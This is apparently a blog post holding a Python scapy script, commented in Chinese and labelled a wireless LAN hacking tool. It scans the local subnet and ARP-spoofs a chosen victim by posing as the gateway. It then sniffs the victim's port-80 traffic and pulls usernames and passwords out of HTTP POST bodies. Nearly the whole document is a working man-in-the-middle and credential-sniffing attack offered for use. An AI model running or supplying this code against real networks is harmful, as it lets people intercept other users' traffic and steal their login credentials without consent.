#无线局域网黑客工具
from scapy.all import *
import os
import time
import re
from threading import Thread
#获取上网的ip和网关
route=os.popen("route print").read() #route print 命令显示本机的路由表
gateway,ip=re.search(r"0\.0\.0\.0\s+0\.0\.0\.0\s+(\S+)\s+(\S+)",route).groups()
#seach匹配一次,groups函数将所有匹配结果都取出,group函数的区别
print("本机ip:",ip)
print("上网网关:",gateway)
rdict={}
#在局域网内进行主机发现
def scan():
global rdict #使用全局变量rdict
IpScan = ip+"/24"
print("扫描中,请稍候...")
ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=IpScan),timeout=2,verbose=0,iface="Intel(R) Wireless-AC 9462")
print("本次扫描一共扫描到%d台主机:" % len(ans))
for send,recv in ans:
print("%s----%s"%(recv.src,recv.psrc))
rdict[recv.psrc] = recv.src
def cap(ip,tc):
pkts=sniff(iface="Intel(R) Wireless-AC 9462",filter=f"tcp port 80 and src host {ip}",timeout=tc)
wrpcap("demo.pcap",pkts)
print("攻击完成!")
def spoof():
vict=input("要攻击的ip:")
st=int(input("攻击时间(秒):"))
t=Thread(target=cap,args=(vict,st))
t.start()
for i in range(st*5):
sendp(Ether(dst=rdict[vict])/ARP(pdst=vict,psrc=gateway),verbose=0,iface="Intel(R) Wireless-AC 9462")
#pdst=vict,psrc=gateway ,这里将源地址改为网关地址,用来欺骗目标主机,让它认为我是网关
#sendp(Ether(dst=rdict[gateway])/ARP(pdst=gateway,psrc=vict),verbose=0,iface="Intel(R) Wireless-AC 9462")
time.sleep(0.2) #每隔两秒发送一次欺骗包
def mima(): #对获取的数据进行分析(可以更改过滤条件来分析不同的数据包)
pkts=rdpcap("demo.pcap")
for p in pkts:
if p.haslayer(IP) and p.haslayer(Raw): #取出每一个含有原始数据的IP数据包
try:
inf=p.load.decode(errors="ignore") #取出数据包里的p.load字段数据
if inf.startswith("POST"): #判断数据是否以POST方式提交
url=re.findall(r"Referer: (.+)",inf) #取出所有Referer字段后的网址
if url:
print(time.ctime(p.time)) #用p.time取出p中的时间字段,time.ctime以我们能看懂的格式输出
print(url[0])
print("用户名:",re.search(r"[uU]serName=(.+?)&",inf).group(1)) #用正则表达式取出需要的信息
print("密码:",re.search(r"[pP]assWord=([^&]+)",inf).group(1))
except Exception as e:
print(e)
pass
def main():
while 1:
print("功能列表:")
print("1 局域网扫描")
print("2 ARP攻击")
print("3 密码分析")
print("4 退出")
while 1:
sel=input("你的操作:")
if sel in list("1234"):
break
print("输入有误!")
if sel=="4":
exit()
elif sel=="1":
scan()
elif sel=="2":
spoof()
else:
mima()
print("再见!")
if __name__=="__main__":
main()
无线局域网嗅探小工具
最新推荐文章于 2024-08-01 11:23:53 发布